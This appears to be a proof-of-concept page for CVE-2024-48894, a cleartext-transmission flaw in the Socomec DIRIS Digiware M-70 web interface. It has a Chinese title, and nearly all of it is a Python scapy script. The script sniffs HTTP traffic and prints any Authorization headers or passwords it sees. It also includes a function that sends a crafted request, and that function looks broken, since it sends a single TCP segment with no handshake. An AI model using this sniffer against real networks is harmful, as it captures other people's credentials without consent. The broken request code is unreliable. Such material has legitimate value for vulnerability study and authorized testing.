CVE-2024-48894 Socomec DIRIS Digiware M-70 明文传输敏感信息漏洞

# CVE-2024-48894 PoC - Cleartext Transmission in Socomec DIRIS Digiware WEBVIEW-M # This PoC demonstrates sniffing network traffic to capture sensitive information # Note: This is for educational and authorized testing purposes only import scapy.all as scapy from scapy.layers import http def capture_cleartext_http_traffic(packet): """ Capture cleartext HTTP traffic from Socomec DIRIS Digiware M-70 This PoC demonstrates how sensitive information can be sniffed """ # Check if packet contains HTTP layer if packet.haslayer(http.HTTPRequest): http_layer = packet.getlayer(http.HTTPRequest) # Log HTTP request details print(f"[+] HTTP Request Detected") print(f" Method: {http_layer.Method.decode()}") print(f" Host: {http_layer.Host.decode()}") print(f" Path: {http_layer.Path.decode()}") # Check for Authorization header (potential credentials) if packet.haslayer(scapy.Raw): payload = packet.getlayer(scapy.Raw).load try: decoded_payload = payload.decode('utf-8', errors='ignore') if 'Authorization' in decoded_payload or 'password' in decoded_payload.lower(): print(f"[!] POTENTIAL SENSITIVE DATA FOUND:") print(decoded_payload[:500]) except: pass def start_sniffing(interface='eth0', count=100): """ Start packet sniffing on specified interface Args: interface: Network interface to sniff on count: Number of packets to capture """ print(f"[*] Starting packet capture on {interface}") print(f"[*] Watching for cleartext HTTP traffic to DIRIS Digiware") # Filter for HTTP traffic (port 80) scapy.sniff(iface=interface, count=count, prn=capture_cleartext_http_traffic, filter='tcp port 80') # Example: Send crafted HTTP request to trigger vulnerability def send_crafted_request(target_ip): """ Send crafted HTTP request to WEBVIEW-M endpoint """ from scapy.all import IP, TCP, Raw, send # Craft HTTP GET request to WEBVIEW-M http_request = b"GET /webview-m/api/status HTTP/1.1\r\nHost: " http_request += target_ip.encode() http_request += b"\r\nAuthorization: Basic dXNlcjpwYXNz\r\n" http_request += b"Connection: close\r\n\r\n" # Send packet ip_layer = IP(dst=target_ip) tcp_layer = TCP(dport=80, sport=12345, flags='PA') packet = ip_layer / tcp_layer / Raw(load=http_request) print(f"[*] Sending crafted request to {target_ip}") send(packet, verbose=0) if __name__ == "__main__": # Replace with actual target IP TARGET_IP = "192.168.1.100" # Option 1: Capture existing traffic # start_sniffing(interface="eth0", count=1000) # Option 2: Send crafted request # send_crafted_request(TARGET_IP) print("CVE-2024-48894 PoC - Cleartext Transmission") print("Target: Socomec DIRIS Digiware M-70 WEBVIEW-M")